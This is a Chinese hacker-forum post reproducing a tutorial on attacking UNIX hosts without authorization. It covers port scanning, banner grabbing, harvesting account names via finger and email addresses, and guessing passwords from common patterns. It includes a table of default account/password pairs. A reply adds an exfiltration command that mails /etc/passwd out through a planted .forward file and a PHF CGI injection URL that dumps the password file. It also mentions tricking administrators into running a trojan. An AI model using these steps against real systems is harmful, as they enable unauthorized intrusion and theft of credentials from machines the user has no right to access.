论坛: 菜鸟乐园 标题: 黑白的大哥发的教程!我觉得这篇比较有价值:)    复制本贴地址    
作者: kevin789 [kevin789]    论坛用户   登录
我们在阅读和学习系统安全文献和黑客技术文章时,经常看到的是一些攻击策略和系统
安全漏洞,但无法理解黑客是如何攻击系统的每个环节,因此系统管理员无法具体地进行安全
防范。

  INTERNET上的主机多数使用UNIX主机,包括Solaris、Digital Unix、Linux等,因此首
先推出UNIX篇,主要内容包括:目标分析、智取文档、破解密码、打扫战场等技术。



第一章、目标分析[UNIX OR LINUX 篇]



1、锁定目标


  INTERNET上每一台主机都有一个符合自己的名称,就像每个人都有一个合适得称呼一样
,称做域名;然而一个人可能会有几个名字,域名的定义也会有同样的情况,在INTERNET上能
真正标识主机的是IP地址,域名只是用IP指定的主机用于好记的而起的名字。当然利用域名和
IP地址都可以顺利找到主机(除非你的网络不通)。要攻击谁首先要确定目标,就是要知道这台
主机的域名或者IP地址,例如:www.yahoo.com、1.1.1.1等。知道了要攻击目标的位置还很不
够,还需要了解系统类型、操作系统、提供服务等全面的资料,才能做到“知己知彼,百战不
败”,如何获取相关信息,下面我们将详细介绍,如果对网络域名和IP地址不清楚的,赶紧翻
一下手头的书吧!并且现在练习一下PING命令吧!相信在实战中会用得到!有什么用?如果P
ING目标主机返回时间太长或你根本PING不通目标主机,你如何继续呢!(目标不在你的射程之
内)



2、端口分析


  INTERNET上的主机大部分都提供WWW、MAIL、FTP、BBS等网络信息服务,基本每一台主机
都同时提供几种服务,一台主机为何能够提供如此多的服务呢?UNIX系统是一种多用户多任务
的系统,将网络服务划分许多不同的端口,每一个端口提供一种不同服务,一个服务会有一个
程序时刻监视端口活动,并且给予应有的应答。并且端口的定义已经成为了标准,例如:FTP
服务的端口是21,TELENT服务的端口是23,WWW服务的端口是80等,如果还想了解更多请进行
下面的步骤:进入MS-DOS PROMPT

C:\WINDOWS>edit services (回车)

  慢慢阅读吧!不过很多的端口都没有什么用,不必把它们都记住!我们如何知道目标主
机提供了什么服务呢?很简单用用于不同服务的应用程序试一试就知道了,例如:使用TELNE
T、FTP等用户软件向目标主机申请服务,如果主机有应答就说明主机提供了这个服务,开放了
这个端口的服务,但我们现在只需知道目标主机的服务端口是否是“活”的,不过这样试比较
麻烦并且资料不全,我会经常使用一些象PORTSCAN这样的工具,对目标主机一定范围的端口进
行扫描。这样可以全部掌握目标主机的端口情况。现在介绍一个好工具,缺少好工具,就不能
顺利完成工作。

  HAKTEK是一个非常实用的一个工具软件,它将许多应用集成在一起的工具,其中包括:
PING、IP范围扫描、目标主机端口扫描、邮件炸弹、过滤邮件、FINGER主机等都是非常实用的
工具。

  完成目标主机扫描任务,首先告诉HAKTEK目标主机的位置,即域名或IP地址。然后选择
端口扫描,输入扫描范围,开始扫描,屏幕很快返回“活”的端口号以及对应的服务。对资料
的收集非常迅速完整。为什么掌握目标的服务资料?如果目标主机上几个关键的端口的服务都
没有提供,还是放弃进攻的计划吧,不要浪费太多时间放在这个胜率不大的目标上,赶紧选择
下一个目标。先看一个扫描实例:



Scanning host xx.xx.xx, ports 0 to 1000



Port 7 found. Desc='echo'

Port 21 found. Desc='ftp'

Port 23 found. Desc='telnet'

Port 25 found. Desc='smtp'

Port 53 found. Desc='domain/nameserver'

Port 79 found. Desc='finger'

Port 80 found. Desc='www'

Port 90 found.

Port 111 found. Desc='portmap/sunrpc'

Port 512 found. Desc='biff/exec'

Port 513 found. Desc='login/who'

Port 514 found. Desc='shell/syslog'

Port 515 found. Desc='printer'



Done!

  如果系统主要端口是“活”的,也不要高兴太早,因为系统可能加了某些限制,不允许
任何用户远程连接或不允许ROOT远程连接,或者进入后限制用户只能做指定的活动便又被强行
中断,这仅仅指TELNET服务而言,其实还会遇到很多复杂的情况。

这里只介绍目标主机是否开放了端口,而我们还不知目标主机使用的是什么系统,每一个端
口的服务程序使用的是什么版本的系统,不要急,先联系一下HAKTEK工具吧!没有,快去下载
吧!



3、系统分析



现在开始讲解如何了解系统,目标主机采用的是什么操作系统,其实很简单,首先打开WIN9
5的RUN窗口,然后输入命令:

TELNET xx.xx.xx.xx(目标主机)

然后[确定],看一看你的屏幕会出现什么?



Digital UNIX (xx.xx.xx) (ttyp1)



login:



  不用我说你也会知道你的目标主机和操作系统是什么啦!对,当然是DEC机,使用的是D
igital UNIX啦!好,我们再看一个:
UNIX(r) System V Release 4.0 (xx.xx.xx)



login:



  这是什么?可能是SUN主机,Sun Os或Solaris,具体是什么?我也说不清楚!这一方法
不是对所有的系统都有用,例如象下面的情况,就不好判断是什么系统:



XXXX OS (xx.xx.xx) (ttyp1)



login:



  有些系统将显示信息进行了更改,因此就不好判断其系统的信息,但根据一些经验可以
进行初步的判断,它可能是HP Unix。

  另外利用上面介绍的工具HAKTEK,利用目标主机的FINGER功能也可以泄露系统的信息。




Establishing real-time userlist... (Only works if the sysadmin is a moron)

---[ Finger session ]-------------------------------------------------------

Welcome to Linux version 2.0.30 at xx.xx.xx

...
上面的这句话就已经足够!



如何知道系统中其它端口使用的是什么服务?例如23、25、80等端口。

采用同样上面的手段,利用TELNET和本身的应用工具,FTP等。

使用TELNET是请将端口号作为命令行参数,例如:

telnet xx.xx.xx 25

就会有类似下面的信息提供给你:



220 xx.xx.xx Sendmail 5.65v3.2 (1.1.8.2/31Jan97-1019AM) Wed, 3 Jun 1998 13:50:47
+0900



这样很清楚目标主机Sendmail的版本。当然对很多端口和不同的系统根本没有用。

因此需要对应的应用工具才能获得相应的信息。例如:



Connected to xx.xx.xx.220 xx.xx.xx FTP server (Digital UNIX Version 5.60) ready.


User (xx.xx.xx:(none)):


  INTERNET上大多数是WWW主机,如何知道目标主使用的是什么样的WEB SERVER,介绍一个
页面的查询工具,只要你告诉它目标主机的地址和WEB服务断口,它立刻会告诉你有关信息。




4、深入研究

  上面介绍的内容都非常简单,多试几次便会轻松掌握。由于系统管理员对系统进行了一
些限制,因此即使得到了这些信息也不能轻松地对系统攻击,还要进一步掌握情况。进行这些
工作都是为下一步的工作做准备,破解UNIX主机最主要是想方设法获得UNIX的密码文件,通过
破解口令,获得较高权限帐户的口令,主要是ROOT的口令。


――――――――――
我的话说完了~~~~

、------黑客实战技术(2)



----------ISC



无论怎么说,INTERNET安全委员会(Internet Security Committee,简称ISC)

始终认为系统安全防范技术和黑客的破解技术是一个问题,只是从不同的方面和

角度去看待这个问题,无论从那一个方面研究这个问题,都能够提高我们对系统

安全的认识,有时从反面的角度看问题更能够反映问题所在,能更好地弥补系统

安全的漏洞和缺陷。ISC在几个镜像站点推出黑客实战技术一书,欢迎参考使用。



在上一章,介绍了一下如何对系统的目标分析,实际上如果要得到系统详细

资料还真的费一番工夫。如果能得到我们上一章的资料也就足够,在以后的工作

要好好利用这些资料。当前的问题是如何取得系统密码文件,从而对对密码文件

进行破解,得到较高权限帐户的口令。



现在我们来分两种情况,第一种是你是目标主机一个普通用户,第二种当然

你不是目标主机的用户。对于第一种用户应该对目标主机的系统资料应该有一定

了解,当然可能还不知道具体,例如:你是一个免费主页空间的用户。无论第一

种用户还是第二种用户,每一个人都想成为目标主机的超级用户,这就象解一道

数学题,越难的题就越想解出来,尽管可能要花费好几天的时间。



得到密码文件又有两种情况,通过普通用户登陆后取得文件,例如利用FTP、

TELNET等工具,第二种是利用其它服务端口的BUG或漏洞取得密码文件,例如利

用:WWW服务,电子邮件等服务。象第二种情况的安全漏洞在其他文章中都有介

绍,如果没有可以到INTERNET安全委员会(http://security.yeah.net)看看其他

文章和BUG介绍。



对于使用普通用户登陆取得密码文件,除了你本身已经是目标主机的普通用

户的有利条件外,对于陌生的目标主机可能只知道它有一个ROOT用户,至于其他

帐户我们一无所知,这又是我们面临的难题,要想登陆目标主机我们至少要知道

一个普通用户,现在我们连帐号都不知道,就更不用说密码了。怎么办?真是急

死人!



不要急,我们有办法可以获得一些帐号,具体方法有很多,我们现在就介绍

几种:



1、利用目标主机的FINGER功能

还记得上一章介绍的工具吗?对就是HAKTEK,它的FINGER功能可以完全胜任,

在TARGET中输入目标主机的地址,域名或IP都可以,选择FINGER按钮,就会出现

例如下面的信息:



Target changed to xx.xx.xx





Establishing real-time userlist... (Only works if the sysadmin is a moron)

---[ Finger session ]-----------------------------------------------------

Login--Name----TTY--Idle----When----Where

xxxx--????----pts/8--2d -- fri 16:15----xx.xx.xx.xx

....----





记录上述帐号信息,经过一段时间的监测,就会积累一定的帐号信息。





2、来源于电子邮件地址

有些用户电子邮件地址(是@符号前面的部分)与其取邮件的帐号是一致的,

这样就能使我们轻松地获得目标主机的一个普通帐号,当然你可能没有目标主机

的邮件地址,你可以去找啊,到其公司的主页上去寻找,肯定有一些业务联系,

制作人员的邮件地址,这不是就有所收获了吗!



3、非常全面的X.500功能

有些主机提供了X.500的目录查询服务,这就给我们提供了非常好的获得信息

的途径,如何知道是否提供X.500的功能,我们不是有HAKTEK这个工具吗?扫描目

标主机的端口,如果端口105的状态就知道了,在自己的机器上安装一个X.500的

客户查询的工具,选择目标主机,可以获得意想不到的信息。



4、习惯性常用帐号

根据平时的经验,一些系统总有一些习惯性的常用的帐号,这些帐号都是系

统中因为某种应用而设置的。例如:制作的WWW主页的帐号可能是html、www、web

等,安装ORACLE数据库的可能有oracle的帐号,用户培训或教学而设置的user1、

user2、student1、student2、client1、client2等帐户,一些常用的英文名字

也经常会使用,例如:tom、john等,因此可以根据系统所提供的服务和在其主

页得到的工作人员的名字信息进行猜测。



说了这么多,还是没有用啊?只得到了一些帐号,那密码怎样能够得到呢?

得到一个帐号都这么难,就别说得到相关对应的密码了。如何找到密码那只有靠

运气了,其实对很多机器的分析,由于普通用户对系统安全没有具体的认识,因

此其密码很容易被猜测出来,不相信,你可以到查看一下INTERNET安全委员会的

安全调查的统计数据(http://security.yeah.net),一般用户的密码大部分和其

帐号相同,这根本没有一点安全性,在得到其帐号信息后就得到了它的密码,真

让人兴奋,另外一部分使用的密码比较简单,例如:将帐号的第一个字母大写、

后面加一个数字,或者使用简单数字0、1等作为密码。还有一些成对的帐号和密

码,例如:帐号是admin,那么密码可能是:manager等,对于这些都是在长时间

积累的经验。在对普通用户进行测试密码时,实际上也可以对目标主机系统的重

要帐号进行猜测,例如:一些系统管理员将ROOT的密码定为主机的名字,象Sun

、Digital、sparc20、alpha2100等,oracle数据库的帐号密码为oracle7、

oracle8等,如果能迅速得到高级权限的密码,我们将能节省很多工作,但这并

不容易,因为经常发生系统安全的事故,现在很难在系统的帐号的密码有所突破。



一般用户常用口令:(经验所得)



--1、用户帐号本身(使用率最高)

--2、帐号第一字母大写、全部大写、后面加简单数字

--3、简单数字,一般是:0、1、123、12345、888、168等

--4、system、manager、admin等词或简单变化

--5、系统或主机的名字



我们还是继续以普通用户的身份进入吧! 现在每个系统管理员都有一定系

统安全管理的知识,利用一些系统帐号不能轻易进入,虽然这样,但它却没有注

意一般用户对系统安全的理解,因此我们突破口也就在这里,我用上面的猜测方

法试过不少机器,大都可以成功,甚至有一次,我竟把一台主机的制作主页的帐

号和口令猜中,我可以随便在它的主页留下任何信息。



现在我们用普通用户进入了主机,当然是用TELNET或FTP啦!对于某些系统

能够进入系统已经是致命的打击了,例如:上面的主页制作帐号我可以轻松的更

改它的主页,在Solaris中可以使用PING命令使其反复REBOOT等,因为毕竟一些

系统存在着一些系统BUG,这些BUG在INTERNET安全委员会的系统BUG和补救措施

中可以找到一些,如果系统没有即使更新和补救,你完全可以给它致命一击。但

我们不应该做这些,我们只想对这道难题有一个完美的答案。



好了,现在可以轻松一下了,因为已经取得了一个小小的胜利,但这并不是

我们这道数学题的最后结果,我们现在只是找到计算这道题的一个公式,如何利

用这个公式计算出结果,还有一条比较漫长的路。请留意INTERNET安全委员会后

面的文章。




最关键的是如何取得一个有效的账号!!!这又一篇,我刚出道的文章应该有用,可是我一直没有用到!!/确定了目标以后,我通常是先用匿名FTP去看一下,许多网站都开匿名FTP,帐号用ANONYMOUS或是FTP,密码用一个EMAIL帐号(当然是假的),进入后到/etc目录下把PASSWD拿回来,一般情况下都是一份很不全的名单,只有几个系统帐号,那就算白来了:-}但有的时候会有比较傻的管理员把一些普通帐号放进去,这就是很重要的信息,虽然只有帐号没有密码,但毕竟迈出了第一步.如果FTP主目录是drwxr-xr-x,做一个.foward文件传上去,在UNIX下的命令应该是echo"| /bin/cat /etc/passwd|sed 's/^/ /'|/bin/mail me@my.e-mail.addr" > .forward然后给匿名用户写一封信,它会把PASSWD发给你。

如果目标没有匿名FTP,就通过WWW访问它的主页,看看上面有什么信息,例如通过一些联系人的EMAIL你就可以发现一些帐号,有的网页上甚至列出了EMAIL通讯录,这对黑客来讲就是无价之宝.把这些帐号记下来,非常有用.

以上几个方法都不行的话,那就试试PHF查询.在浏览器的地址栏输入http://攻击目标/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd如果成功的话会显示出PASSWD来,但是成功率极低:-<

还可以利用目标的FINGER功能来积累帐号,如利用HAKTEK(一种扫描器)来监视目标,一旦有人登陆该主机就会报告给你.但这种方法的缺点就是浪费时间,如果你是自己花钱上网的话可就要出血了!

很有可能以上的方法都不行,那只好使出我的看家本事了-------猜!!!有一些系统默认的帐号,例如:

帐号     密码
----------- ----------------
root    root
sys     sys/system/bin
bin     sys/bin
mountfsys  mountfsys
adm     adm
uucp    uucp
nuucp    anon
anon    anon
user    user
games    games
install   install
reboot   给 "command login" 用的
demo    demo
umountfsys umountfsys
sync     sync
admin    admin
guest    guest
daemon   daemon
________________________________________________________________

有些管理员忘记把他们改掉,那你就发财了!

另外还有一些习惯性帐号如:test,www,html,web,oracle,setup,sybase,john,tom等也都应该试一试.

只有帐号还不能进入系统,但有了帐号搞密码就容易一些了,主要办法还是猜.如果是通过PASSWD知道帐号的那你应该会发现该用户的许多信息,例如:

.........

xlguo:x:263:50:Guo xiaolin:/usr/xlguo:/bin/sh

qingyuan:x:275:50::/usr/qingyuan:/bin/sh

hjhuang:x:278:50:Huang Haijun:/usr/hjhuang:/bin/sh

smlian:x:282:50:Mr. Lan Shumin:/usr/smlian:/bin/sh

kyc:x:293:50:Department of Science & Technology:/usr/kyc:/bin/sh

brlu:x:300:50:Lu Baoren:/usr/brlu:/bin/sh

tide:x:301:50:Wang XinYi:/usr/tide:/bin/sh

............

这是一部分PASSWD,从这儿我们可以得到七个帐号,注意每一行的第五项,那是该用户的真实姓名,对!就用它来做密码试.成功率还是比较高的.

如果是用其他方法获得帐号的,就用FINGER查询来获得相关信息.例如知道一个帐号support,我们就用网络刺客II里的FINGER项来侦察support@xxx.xxx.xxx会获得很多该帐号的信息例如真名实姓,电话号码等就用这些做密码来猜">如果是用其他方法获得帐号的,就用FINGER查询来获得相关信息.例如知道一个帐号support,我们就用网络刺客II里的FINGER项来侦察support@xxx.xxx.xxx会获得很多该帐号的信息例如真名实姓,电话号码等就用这些做密码来猜.

当然最可能的密码还是帐号本身和一些帐号的变形,如帐号是john,密码可能是nhoj,john123,john888等.或是一些简单数字.总之是要费一番工夫来猜的.

如果还猜不出密码,只好用LETMEIN之类的东西来猜,字典一定要好.否则,你的电话费就要.....而且这种方法比较危险,还是不用为好.

最后实在不行还有一种比较卑劣的手段,就是给该网站的网管写封信,想办法骗他执行特洛伊木马,然后再.......算了,不说了.

你可能发现以上这些方法都不能百分之百的成功,或者说成功率是比较低的,因为我也不知道更好的方法.但我感到一定有一种更好的方法,希望有高手见到此文能告诉我。

――――――――――
我的话说完了~~~~


地主 发表时间: 05-04-20 11:12

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号